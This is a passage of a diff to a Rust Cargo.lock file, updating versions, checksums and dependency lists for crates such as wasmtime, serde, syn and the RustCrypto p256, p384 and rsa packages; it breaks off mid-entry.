"0.38.1" +version = "0.39.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "271638cd5fa9cca89c4c304675ca658efc4e64a66c716b7cfe1afb4b9611dbbc" +checksum = "2e5a6c098c7a3b6547378093f5cc30bc54fd361ce711e05293a5cc589562739b" dependencies = [ "crc32fast", - "hashbrown 0.16.1", + "hashbrown 0.17.0", "indexmap", "memchr", ] @@ -1248,53 +1463,61 @@ checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" [[package]] name = "p256" -version = "0.13.2" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" +checksum = "d2c9239b2dbc807adbbe147e8cf72ea7450c3a0aabe62cb8e75ff4ec22e1f72a" dependencies = [ "ecdsa", "elliptic-curve", + "primefield", "primeorder", - "sha2", + "sha2 0.11.1", ] [[package]] name = "p384" -version = "0.13.1" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6" +checksum = "d17b851e6b3e378ab4ecb07fa2ed23f4d15f075735f8fec9fa1e7bdce5f8301f" dependencies = [ "ecdsa", "elliptic-curve", + "fiat-crypto", + "primefield", "primeorder", - "sha2", + "sha2 0.11.1", ] [[package]] name = "pem-rfc7468" -version = "0.7.0" +version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +checksum = "a6305423e0e7738146434843d1694d621cce767262b2a86910beab705e4493d9" dependencies = [ "base64ct", ] +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + [[package]] name = "pkcs1" -version = "0.7.5" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +checksum = "6250dd7321adbe93d12b750aee0ced159fd13e77f625edcdf1cb6f83cd99f650" dependencies = [ "der", - "pkcs8", "spki", ] [[package]] name = "pkcs8" -version = "0.10.2" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +checksum = "451913da69c775a56034ea8d9003d27ee8948e12443eae7c038ba100a4f21cb7" dependencies = [ "der", "spki", @@ -1319,28 +1542,37 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" [[package]] -name = "ppv-lite86" -version = "0.2.21" +name = "primefield" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +checksum = "c555a6e4eb7d4e158fcb028c835c3b8642206ddc279b5c6b202ef9a8bdb592f4" dependencies = [ - "zerocopy", + "crypto-bigint", + "crypto-common 0.2.2", + "ff", + "rand_core", + "subtle", + "zeroize", ] [[package]] name = "primeorder" -version = "0.13.6" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" +checksum = "5c9f42978c78a00e3d68f69fc03e57a234debae69da4020a4fb588fcdcd07b06" dependencies = [ "elliptic-curve", + "once_cell", + "primefield", + "serdect", + "wnaf", ] [[package]] name = "proc-macro2" -version = "1.0.106" +version = "1.0.107" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" dependencies = [ "unicode-ident", ] @@ -1398,9 +1630,9 @@ dependencies = [ [[package]] name = "psl" -version = "2.1.204" +version = "2.1.246" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "868e3200a2474f99d0ea576a7c76aabda7cdcc795cc27f2d93f30ab79867820d" +checksum = "27d58bd13c235442118460335daf360f0fefaa9035ec4ad957f851d738e7b7d6" dependencies = [ "psl-types", ] @@ -1413,9 +1645,9 @@ checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac" [[package]] name = "pulley-interpreter" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "010dec3755eb61b2f1051ecb3611b718460b7a74c131e474de2af20a845938af" +checksum = "4e6d73adcf2f76b98d3de7a31831b6d6436fd2b6518e0ad4f7cc722a12ad4133" dependencies = [ "cranelift-bitset", "log", @@ -1425,20 +1657,20 @@ dependencies = [ [[package]] name = "pulley-macros" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad360c32e85ca4b083ac0e2b6856e8f11c3d5060dafa7d5dc57b370857fa3018" +checksum = "5bde547f939ab9aa321a54c6694aef2e1e27741c2523c0627ff306677b3cbcff" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] name = "quote" -version = "1.0.45" +version = "1.0.47" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" dependencies = [ "proc-macro2", ] @@ -1450,59 +1682,43 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" [[package]] -name = "radium" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" - -[[package]] -name = "rand" -version = "0.8.6" +name = "r-efi" +version = "6.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a" -dependencies = [ - "rand_chacha", - "rand_core", -] +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" [[package]] -name = "rand_chacha" -version = "0.3.1" +name = "radium" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" -dependencies = [ - "ppv-lite86", - "rand_core", -] +checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" [[package]] name = "rand_core" -version = "0.6.4" +version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" -dependencies = [ - "getrandom 0.2.17", -] +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" [[package]] name = "regalloc2" -version = "0.15.1" +version = "0.15.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "de2c52737737f8609e94f975dee22854a2d5c125772d4b1cf292120f4d45c186" +checksum = "757712e8e61590d6d4f5d563483755538b5aa13467837a3b41cd9832509a7f85" dependencies = [ "allocator-api2", "bumpalo", "hashbrown 0.17.0", "log", - "rustc-hash 2.1.1", + "rustc-hash 2.1.3", + "serde", "smallvec", ] [[package]] name = "regex" -version = "1.12.3" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" dependencies = [ "aho-corasick", "memchr", @@ -1512,9 +1728,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.14" +version = "0.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2" dependencies = [ "aho-corasick", "memchr", @@ -1523,28 +1739,29 @@ dependencies = [ [[package]] name = "regex-syntax" -version = "0.8.10" +version = "0.8.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" [[package]] name = "rfc6979" -version = "0.4.0" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" +checksum = "b4a459cddafb3fe76b31fd8f1108007566c40301feb64dc7b54656eb7388172b" dependencies = [ + "crypto-bigint", "hmac", - "subtle", ] [[package]] name = "rowan" -version = "0.16.1" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "417a3a9f582e349834051b8a10c8d71ca88da4211e4093528e36b9845f6b5f21" +checksum = "14b574c58582fa59fa43a2feb6608b8744184659f08a2e0117e4b8224d95ed61" dependencies = [ "countme", "hashbrown 0.14.5", + "memoffset", "rustc-hash 1.1.0", "text-size", ] @@ -1560,24 +1777,31 @@ dependencies = [ [[package]] name = "rsa" -version = "0.9.10" +version = "0.10.0-rc.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" +checksum = "2389407c34c6039d7c8740520ec758090883c5b92df93a5edada2779256bf2e0" dependencies = [ "const-oid", - "digest", - "num-bigint-dig", - "num-integer", - "num-traits", + "crypto-bigint", + "crypto-common 0.2.2", + "crypto-primes", + "digest 0.11.3", + "hmac", "pkcs1", "pkcs8", "rand_core", + "sha2 0.11.1", "signature", "spki", - "subtle", "zeroize", ] +[[package]] +name = "rustc-demangle" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b74b56ffa8bb2830709a538c2cbcae9aa062db0d2a42563bfb09bdaae44020eb" + [[package]] name = "rustc-hash" version = "1.1.0" @@ -1586,9 +1810,9 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustc-hash" -version = "2.1.1" +version = "2.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" +checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" [[package]] name = "rustc_version" @@ -1623,15 +1847,15 @@ dependencies = [ [[package]] name = "rustix" -version = "1.0.8" +version = "1.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8" +checksum = "e5e76742e5294153d4dde1207dbec5bdd81eef6fabdc0d2118babadabfd858aa" dependencies = [ "bitflags", "errno", "libc", - "linux-raw-sys 0.9.4", - "windows-sys 0.60.2", + "linux-raw-sys 0.12.1", + "windows-sys 0.61.2", ] [[package]] @@ -1651,29 +1875,33 @@ dependencies = [ [[package]] name = "sec1" -version = "0.7.3" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" +checksum = "d56d437c2f19203ce5f7122e507831de96f3d2d4d3be5af44a0b0a09d8a80e4d" dependencies = [ "base16ct", + "ctutils", "der", - "generic-array", - "pkcs8", + "hybrid-array", "subtle", "zeroize", ] [[package]] name = "semver" -version = "1.0.26" +version = "1.0.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" +dependencies = [ + "serde", + "serde_core", +] [[package]] name = "serde" -version = "1.0.228" +version = "1.0.229" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" dependencies = [ "serde_core", "serde_derive", @@ -1681,30 +1909,31 @@ dependencies = [ [[package]] name = "serde_core" -version = "1.0.228" +version = "1.0.229" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.228" +version = "1.0.229" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] name = "serde_json" -version = "1.0.149" +version = "1.0.154" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" dependencies = [ + "foldhash", "indexmap", "itoa", "memchr", @@ -1713,15 +1942,25 @@ dependencies = [ "zmij", ] +[[package]] +name = "serdect" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66cf8fedced2fcf12406bcb34223dffb92eaf34908ede12fed414c82b7f00b3e" +dependencies = [ + "base16ct", + "serde", +] + [[package]] name = "sha1" -version = "0.10.6" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +checksum = "aacc4cc499359472b4abe1bf11d0b12e688af9a805fa5e3016f9a386dc2d0214" dependencies = [ "cfg-if", - "cpufeatures", - "digest", + "cpufeatures 0.3.1", + "digest 0.11.3", ] [[package]] @@ -1731,8 +1970,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" dependencies = [ "cfg-if", - "cpufeatures", - "digest", + "cpufeatures 0.2.17", + "digest 0.10.7", +] + +[[package]] +name = "sha2" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47d7069beb7d6ac7b9acd1039986e73443f24234f41074da099d6f994ac9ad19" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.1", + "digest 0.11.3", ] [[package]] @@ -1743,25 +1993,25 @@ checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] name = "signature" -version = "2.2.0" +version = "3.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +checksum = "28d567dcbaf0049cb8ac2608a76cd95ff9e4412e1899d389ee400918ca7537f5" dependencies = [ - "digest", + "digest 0.11.3", "rand_core", ] [[package]] name = "simd-adler32" -version = "0.3.9" +version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214" +checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea" [[package]] name = "simd_cesu8" -version = "1.1.1" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94f90157bb87cddf702797c5dadfa0be7d266cdf49e22da2fcaa32eff75b2c33" +checksum = "11031e251abf8611c80f460e19dbdeb54a66db918e49c65a7065b46ac7aec520" dependencies = [ "rustc_version", "simdutf8", @@ -1773,6 +2023,12 @@ version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + [[package]] name = "smallvec" version = "1.15.1" @@ -1782,17 +2038,11 @@ dependencies = [ "serde", ] -[[package]] -name = "spin" -version = "0.9.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" - [[package]] name = "spki" -version = "0.7.3" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +checksum = "7ef958a98b9d5da290cfc78946e9f3e61e1e62a18db0d92cac0b83cc161491a9" dependencies = [ "base64ct", "der", @@ -1819,7 +2069,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -1839,6 +2089,17 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "syn" +version = "3.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d78c8dee4c7bf0e14673097256fed6142ce9d3b85a408189d07482442145823b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + [[package]] name = "synstructure" version = "0.13.2" @@ -1847,7 +2108,7 @@ checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -1858,9 +2119,9 @@ checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" [[package]] name = "target-lexicon" -version = "0.13.2" +version = "0.13.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e502f78cdbb8ba4718f566c418c52bc729126ffd16baee5baa718cf25dd5a69a" +checksum = "adb6935a6f5c20170eeceb1a3835a49e12e19d792f6dd344ccc76a985ca5a6ca" [[package]] name = "tempfile" @@ -1871,7 +2132,7 @@ dependencies = [ "fastrand", "getrandom 0.3.3", "once_cell", - "rustix 1.0.8", + "rustix 1.1.6", "windows-sys 0.59.0", ] @@ -1901,11 +2162,11 @@ dependencies = [ [[package]] name = "thiserror" -version = "2.0.18" +version = "2.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +checksum = "09e52cb86a36cede5cb101bf8908837b3e4c6e5e59fe7fd85c23fb56200d189e" dependencies = [ - "thiserror-impl 2.0.18", + "thiserror-impl 2.0.21", ] [[package]] @@ -1916,18 +2177,18 @@ checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] name = "thiserror-impl" -version = "2.0.18" +version = "2.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +checksum = "fe5197923287db20a58125f0bc85c062f7f2c892de97b18c356f9efb14b28524" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] @@ -1961,17 +2222,23 @@ dependencies = [ "time-core", ] +[[package]] +name = "tinyzip" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6847a2bf223d67c916a25d5fb8d197fc1c7c3205421e05d50f3373e092034146" + [[package]] name = "typed-path" -version = "0.12.3" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e28f89b80c87b8fb0cf04ab448d5dd0dd0ade2f8891bae878de66a75a28600e" +checksum = "9ce898823d8cd0f028662d2f349694b1af0a5cc9be83f1d213a00d3147445e1e" [[package]] name = "typenum" -version = "1.18.0" +version = "1.20.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" [[package]] name = "unicode-ident" @@ -1993,9 +2260,9 @@ checksum = "6d49784317cd0d1ee7ec5c716dd598ec5b4483ea832a2dced265471cc0f690ae" [[package]] name = "uuid" -version = "1.18.1" +version = "1.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2f87b8aa10b915a06587d0dec516c282ff295b475d94abf425d62b57710070a2" +checksum = "4a0e2d11620c50695fe12bbbfde96b3477fe606e7284c22d505c12ce51214514" dependencies = [ "js-sys", "wasm-bindgen", @@ -2025,9 +2292,9 @@ dependencies = [ [[package]] name = "walrus" -version = "0.26.1" +version = "0.27.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e151599d689dac80e85c66a7cfa6ffd1b2ab79220517f9161040a87a5041aee3" +checksum = "5691aeb3546554822fe2c13d63149c26a027cd07d900a72c7c7f37f4321bfaea" dependencies = [ "anyhow", "gimli 0.32.3", @@ -2035,8 +2302,8 @@ dependencies = [ "leb128", "log", "walrus-macro", - "wasm-encoder", - "wasmparser", + "wasm-encoder 0.245.1", + "wasmparser 0.245.1", ] [[package]] @@ -2048,15 +2315,9 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] -[[package]] -name = "wasi" -version = "0.11.1+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" - [[package]] name = "wasi" version = "0.14.2+wasi-0.2.4" @@ -2068,12 +2329,11 @@ dependencies = [ [[package]] name = "wasm-bindgen" -version = "0.2.118" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0bf938a0bacb0469e83c1e148908bd7d5a6010354cf4fb73279b7447422e3a89" +checksum = "a0181c14ddd6c7b8b0b0132a5f1ea2f32be0d893cd3ea97b6e3b28886b8a3d1c" dependencies = [ "cfg-if", - "once_cell", "rustversion", "wasm-bindgen-macro", "wasm-bindgen-shared", @@ -2081,9 +2341,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.118" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eeff24f84126c0ec2db7a449f0c2ec963c6a49efe0698c4242929da037ca28ed" +checksum = "6e931a02a39abdbf66966fc35902b5ed58344750a70885bed4ebb3d8eaf28ed9" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -2091,22 +2351,22 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.118" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d08065faf983b2b80a79fd87d8254c409281cf7de75fc4b773019824196c904" +checksum = "2ca4b54280e455bd831e33a6b8e734baf432fe63fbc35c42ac14ce67a043a53a" dependencies = [ "bumpalo", "proc-macro2", "quote", - "syn", + "syn 3.0.9", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.118" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5fd04d9e306f1907bd13c6361b5c6bfc7b3b3c095ed3f8a9246390f8dbdee129" +checksum = "3b1f9c3798725016c6ee5f2f57869ec0831e8bbc0ab0310a86e787e97f41389e" dependencies = [ "unicode-ident", ] @@ -2118,7 +2378,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9dca005e69bf015e45577e415b9af8c67e8ee3c0e38b5b0add5aa92581ed5c" dependencies = [ "leb128fmt", - "wasmparser", + "wasmparser 0.245.1", +] + +[[package]] +name = "wasm-encoder" +version = "0.254.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebaca0b540bdb15d195ff34fb23074255948708b8916a11a339ba4513dc61906" +dependencies = [ + "leb128fmt", + "wasmparser 0.254.2", ] [[package]] @@ -2134,29 +2404,42 @@ dependencies = [ "serde", ] +[[package]] +name = "wasmparser" +version = "0.254.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5ff8685b587722894b6f25958fc608d315b93b8d23647bfb567664e7006d757" +dependencies = [ + "bitflags", + "hashbrown 0.17.0", + "indexmap", + "semver", + "serde", +] + [[package]] name = "wasmprinter" -version = "0.245.1" +version = "0.254.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f41517a3716fbb8ccf46daa9c1325f760fcbff5168e75c7392288e410b91ac8" +checksum = "8b03c8f270f3f384f70f42869b5ff7f6253fe4f0aa8590f7edd332c1943e5f51" dependencies = [ "anyhow", "termcolor", - "wasmparser", + "wasmparser 0.254.2", ] [[package]] name = "wasmtime" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce205cd643d661b5ba5ba4717e13730262e8cdbc8f2eacbc7b906d45c1a74026" +checksum = "a2afcadb2e7d0417cb8f3f322c66eff49338b288f22290c0ca0bd3e9570732aa" dependencies = [ "addr2line", "async-trait", "bitflags", "bumpalo", "cc", - "cfg-if", + "futures", "libc", "log", "mach2", @@ -2165,12 +2448,12 @@ dependencies = [ "once_cell", "postcard", "pulley-interpreter", - "rustix 1.0.8", + "rustix 1.1.6", "serde", "serde_derive", "smallvec", "target-lexicon", - "wasmparser", + "wasmparser 0.254.2", "wasmtime-environ", "wasmtime-internal-core", "wasmtime-internal-cranelift", @@ -2184,63 +2467,72 @@ dependencies = [ [[package]] name = "wasmtime-environ" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b8b78abf3677d4a0a5db82e5015b4d085ff3a1b8b472cbb8c70d4b769f019ce" +checksum = "2de252f4aedfff6c2054ea5bea2454878a931c56e2553c6356b581e5e30a7e4e" dependencies = [ "anyhow", + "cpp_demangle", "cranelift-bforest", "cranelift-bitset", "cranelift-entity", "gimli 0.33.0", - "hashbrown 0.16.1", + "hashbrown 0.17.0", "indexmap", "log", "object", "postcard", + "rustc-demangle", + "semver", "serde", "serde_derive", - "sha2", + "sha2 0.10.9", "smallvec", "target-lexicon", - "wasm-encoder", - "wasmparser", + "wasm-encoder 0.254.2", + "wasmparser 0.254.2", "wasmprinter", + "wasmtime-internal-component-util", "wasmtime-internal-core", ] +[[package]] +name = "wasmtime-internal-component-util" +version = "48.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5ad52499e6246d30bf8bf509506bd637248eee17c8dd623e0c7dbe43e7a1036" + [[package]] name = "wasmtime-internal-core" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22632b187e1b0716f1b9ac57ad29013bed33175fcb19e10bb6896126f82fac67" +checksum = "d8838d7debfc98a69342d260a990ea6f64adf498184915fccfdbd6718bb40a9b" dependencies = [ - "hashbrown 0.16.1", + "hashbrown 0.17.0", "libm", "serde", ] [[package]] name = "wasmtime-internal-cranelift" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b3ca07b3e0bb3429674b173b5800577719d600774dd81bff58f775c0aaa64ee" +checksum = "478c09af53c545d96227b349d35c70fc78e99816923f41428ffff00974bcd145" dependencies = [ - "cfg-if", "cranelift-codegen", "cranelift-control", "cranelift-entity", "cranelift-frontend", "cranelift-native", "gimli 0.33.0", - "itertools", + "itertools 0.14.0", "log", "object", "pulley-interpreter", "smallvec", "target-lexicon", - "thiserror 2.0.18", - "wasmparser", + "thiserror 2.0.21", + "wasmparser 0.254.2", "wasmtime-environ", "wasmtime-internal-core", "wasmtime-internal-unwinder", @@ -2249,14 +2541,13 @@ dependencies = [ [[package]] name = "wasmtime-internal-fiber" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "20c8b2c9704eb1f33ead025ec16038277ccb63d0a14c31e99d5b765d7c36da55" +checksum = "96dce7a8ea302c0f1eb4154eb1756525c90c595bbabbc590abad64d4c5ff8bbb" dependencies = [ "cc", - "cfg-if", "libc", - "rustix 1.0.8", + "rustix 1.1.6", "wasmtime-environ", "wasmtime-internal-versioned-export-macros", "windows-sys 0.61.2", @@ -2264,9 +2555,9 @@ dependencies = [ [[package]] name = "wasmtime-internal-jit-debug" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d950310d07391d34369f62c48336ebb14eacbd4d6f772bb5f349c24e838e0664" +checksum = "895f3231b24ce0c12c8a7bb129a9f6ddc6772ec78e59748e53af743dcdd733d1" dependencies = [ "cc", "wasmtime-internal-versioned-export-macros", @@ -2274,11 +2565,10 @@ dependencies = [ [[package]] name = "wasmtime-internal-jit-icache-coherence" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3606662c156962d096be3127b8b8ae8ee2f8be3f896dad29259ff01ddb64abfd" +checksum = "28b60a0c1f735da6b862679b763f8bab653caa477ccc603a25752488b795fec5" dependencies = [ - "cfg-if", "libc", "wasmtime-internal-core", "windows-sys 0.61.2", @@ -2286,11 +2576,10 @@ dependencies = [ [[package]] name = "wasmtime-internal-unwinder" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 